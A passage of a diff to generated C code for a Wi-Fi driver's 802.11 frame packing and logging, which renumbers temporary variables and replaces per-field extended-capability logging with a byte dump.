tmp150__; + tANI_U16 tmp144__; tANI_U32 status = DOT11F_PARSE_SUCCESS; status = dot11fGetPackedIEWAPI(pCtx, pSrc, &nNeeded); if ( ! DOT11F_SUCCEEDED( status ) ) return status; @@ -31027,10 +30533,10 @@ tANI_U32 dot11fPackIeWAPI(tpAniSirGlobal pCtx, DOT11F_MEMCPY(pCtx, pBuf, pSrc->multicast_cipher_suite, 4); *pnConsumed += 4; pBuf += 4; - tmp150__ = 0U; - tmp150__ |= ( pSrc->preauth << 0 ); - tmp150__ |= ( pSrc->reserved << 1 ); - frameshtons(pCtx, pBuf, tmp150__, 0); + tmp144__ = 0U; + tmp144__ |= ( pSrc->preauth << 0 ); + tmp144__ |= ( pSrc->reserved << 1 ); + frameshtons(pCtx, pBuf, tmp144__, 0); *pnConsumed += 2; pBuf += 2; nBuf -= 2 ; @@ -31173,7 +30679,7 @@ tANI_U32 dot11fPackIeWMMCaps(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp151__; + tANI_U8 tmp145__; nNeeded += 2; while ( pSrc->present ) { @@ -31195,13 +30701,13 @@ tANI_U32 dot11fPackIeWMMCaps(tpAniSirGlobal pCtx, *pBuf = pSrc->version; *pnConsumed += 1; pBuf += 1; - tmp151__ = 0U; - tmp151__ |= ( pSrc->reserved << 0 ); - tmp151__ |= ( pSrc->qack << 4 ); - tmp151__ |= ( pSrc->queue_request << 5 ); - tmp151__ |= ( pSrc->txop_request << 6 ); - tmp151__ |= ( pSrc->more_ack << 7 ); - *pBuf = tmp151__; + tmp145__ = 0U; + tmp145__ |= ( pSrc->reserved << 0 ); + tmp145__ |= ( pSrc->qack << 4 ); + tmp145__ |= ( pSrc->queue_request << 5 ); + tmp145__ |= ( pSrc->txop_request << 6 ); + tmp145__ |= ( pSrc->more_ack << 7 ); + *pBuf = tmp145__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -31224,7 +30730,7 @@ tANI_U32 dot11fPackIeWMMInfoAp(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp152__; + tANI_U8 tmp146__; nNeeded += 2; while ( pSrc->present ) { @@ -31246,11 +30752,11 @@ tANI_U32 dot11fPackIeWMMInfoAp(tpAniSirGlobal pCtx, *pBuf = pSrc->version; *pnConsumed += 1; pBuf += 1; - tmp152__ = 0U; - tmp152__ |= ( pSrc->param_set_count << 0 ); - tmp152__ |= ( pSrc->reserved << 4 ); - tmp152__ |= ( pSrc->uapsd << 7 ); - *pBuf = tmp152__; + tmp146__ = 0U; + tmp146__ |= ( pSrc->param_set_count << 0 ); + tmp146__ |= ( pSrc->reserved << 4 ); + tmp146__ |= ( pSrc->uapsd << 7 ); + *pBuf = tmp146__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -31273,7 +30779,7 @@ tANI_U32 dot11fPackIeWMMInfoStation(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; - tANI_U8 tmp153__; + tANI_U8 tmp147__; nNeeded += 2; while ( pSrc->present ) { @@ -31295,15 +30801,15 @@ tANI_U32 dot11fPackIeWMMInfoStation(tpAniSirGlobal pCtx, *pBuf = pSrc->version; *pnConsumed += 1; pBuf += 1; - tmp153__ = 0U; - tmp153__ |= ( pSrc->acvo_uapsd << 0 ); - tmp153__ |= ( pSrc->acvi_uapsd << 1 ); - tmp153__ |= ( pSrc->acbk_uapsd << 2 ); - tmp153__ |= ( pSrc->acbe_uapsd << 3 ); - tmp153__ |= ( pSrc->reserved1 << 4 ); - tmp153__ |= ( pSrc->max_sp_length << 5 ); - tmp153__ |= ( pSrc->reserved2 << 7 ); - *pBuf = tmp153__; + tmp147__ = 0U; + tmp147__ |= ( pSrc->acvo_uapsd << 0 ); + tmp147__ |= ( pSrc->acvi_uapsd << 1 ); + tmp147__ |= ( pSrc->acbk_uapsd << 2 ); + tmp147__ |= ( pSrc->acbe_uapsd << 3 ); + tmp147__ |= ( pSrc->reserved1 << 4 ); + tmp147__ |= ( pSrc->max_sp_length << 5 ); + tmp147__ |= ( pSrc->reserved2 << 7 ); + *pBuf = tmp147__; *pnConsumed += 1; // fieldsEndFlag = 1 nBuf -= 1 ; @@ -31326,14 +30832,14 @@ tANI_U32 dot11fPackIeWMMParams(tpAniSirGlobal pCtx, tANI_U8* pIeLen = 0; tANI_U32 nConsumedOnEntry = *pnConsumed; tANI_U32 nNeeded = 0U; + tANI_U8 tmp148__; + tANI_U8 tmp149__; + tANI_U8 tmp150__; + tANI_U8 tmp151__; + tANI_U8 tmp152__; + tANI_U8 tmp153__; tANI_U8 tmp154__; tANI_U8 tmp155__; - tANI_U8 tmp156__; - tANI_U8 tmp157__; - tANI_U8 tmp158__; - tANI_U8 tmp159__; - tANI_U8 tmp160__; - tANI_U8 tmp161__; nNeeded += 19; while ( pSrc->present ) { @@ -31361,76 +30867,76 @@ tANI_U32 dot11fPackIeWMMParams(tpAniSirGlobal pCtx, *pBuf = pSrc->reserved2; *pnConsumed += 1; pBuf += 1; - tmp154__ = 0U; - tmp154__ |= ( pSrc->acbe_aifsn << 0 ); - tmp154__ |= ( pSrc->acbe_acm << 4 ); - tmp154__ |= ( pSrc->acbe_aci << 5 ); - tmp154__ |= ( pSrc->unused1 << 7 ); - *pBuf = tmp154__; + tmp148__ = 0U; + tmp148__ |= ( pSrc->acbe_aifsn << 0 ); + tmp148__ |= ( pSrc->acbe_acm << 4 ); + tmp148__ |= ( pSrc->acbe_aci << 5 ); + tmp148__ |= ( pSrc->unused1 << 7 ); + *pBuf = tmp148__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp155__ = 0U; - tmp155__ |= ( pSrc->acbe_acwmin << 0 ); - tmp155__ |= ( pSrc->acbe_acwmax << 4 ); - *pBuf = tmp155__; + tmp149__ = 0U; + tmp149__ |= ( pSrc->acbe_acwmin << 0 ); + tmp149__ |= ( pSrc->acbe_acwmax << 4 ); + *pBuf = tmp149__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbe_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp156__ = 0U; - tmp156__ |= ( pSrc->acbk_aifsn << 0 ); - tmp156__ |= ( pSrc->acbk_acm << 4 ); - tmp156__ |= ( pSrc->acbk_aci << 5 ); - tmp156__ |= ( pSrc->unused2 << 7 ); - *pBuf = tmp156__; + tmp150__ = 0U; + tmp150__ |= ( pSrc->acbk_aifsn << 0 ); + tmp150__ |= ( pSrc->acbk_acm << 4 ); + tmp150__ |= ( pSrc->acbk_aci << 5 ); + tmp150__ |= ( pSrc->unused2 << 7 ); + *pBuf = tmp150__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp157__ = 0U; - tmp157__ |= ( pSrc->acbk_acwmin << 0 ); - tmp157__ |= ( pSrc->acbk_acwmax << 4 ); - *pBuf = tmp157__; + tmp151__ = 0U; + tmp151__ |= ( pSrc->acbk_acwmin << 0 ); + tmp151__ |= ( pSrc->acbk_acwmax << 4 ); + *pBuf = tmp151__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acbk_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp158__ = 0U; - tmp158__ |= ( pSrc->acvi_aifsn << 0 ); - tmp158__ |= ( pSrc->acvi_acm << 4 ); - tmp158__ |= ( pSrc->acvi_aci << 5 ); - tmp158__ |= ( pSrc->unused3 << 7 ); - *pBuf = tmp158__; + tmp152__ = 0U; + tmp152__ |= ( pSrc->acvi_aifsn << 0 ); + tmp152__ |= ( pSrc->acvi_acm << 4 ); + tmp152__ |= ( pSrc->acvi_aci << 5 ); + tmp152__ |= ( pSrc->unused3 << 7 ); + *pBuf = tmp152__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp159__ = 0U; - tmp159__ |= ( pSrc->acvi_acwmin << 0 ); - tmp159__ |= ( pSrc->acvi_acwmax << 4 ); - *pBuf = tmp159__; + tmp153__ = 0U; + tmp153__ |= ( pSrc->acvi_acwmin << 0 ); + tmp153__ |= ( pSrc->acvi_acwmax << 4 ); + *pBuf = tmp153__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; frameshtons(pCtx, pBuf, pSrc->acvi_txoplimit, 0); *pnConsumed += 2; pBuf += 2; - tmp160__ = 0U; - tmp160__ |= ( pSrc->acvo_aifsn << 0 ); - tmp160__ |= ( pSrc->acvo_acm << 4 ); - tmp160__ |= ( pSrc->acvo_aci << 5 ); - tmp160__ |= ( pSrc->unused4 << 7 ); - *pBuf = tmp160__; + tmp154__ = 0U; + tmp154__ |= ( pSrc->acvo_aifsn << 0 ); + tmp154__ |= ( pSrc->acvo_acm << 4 ); + tmp154__ |= ( pSrc->acvo_aci << 5 ); + tmp154__ |= ( pSrc->unused4 << 7 ); + *pBuf = tmp154__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; - tmp161__ = 0U; - tmp161__ |= ( pSrc->acvo_acwmin << 0 ); - tmp161__ |= ( pSrc->acvo_acwmax << 4 ); - *pBuf = tmp161__; + tmp155__ = 0U; + tmp155__ |= ( pSrc->acvo_acwmin << 0 ); + tmp155__ |= ( pSrc->acvo_acwmax << 4 ); + *pBuf = tmp155__; *pnConsumed += 1; pBuf += 1; nBuf -= 1 ; @@ -33102,57 +32608,8 @@ tANI_U32 dot11fPackAssocRequest(tpAniSirGlobal pCtx, tDot11fAssocRequest *pFrm, } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCREQUEST), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -34257,57 +33714,8 @@ tANI_U32 dot11fPackAssocResponse(tpAniSirGlobal pCtx, tDot11fAssocResponse *pFrm } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, 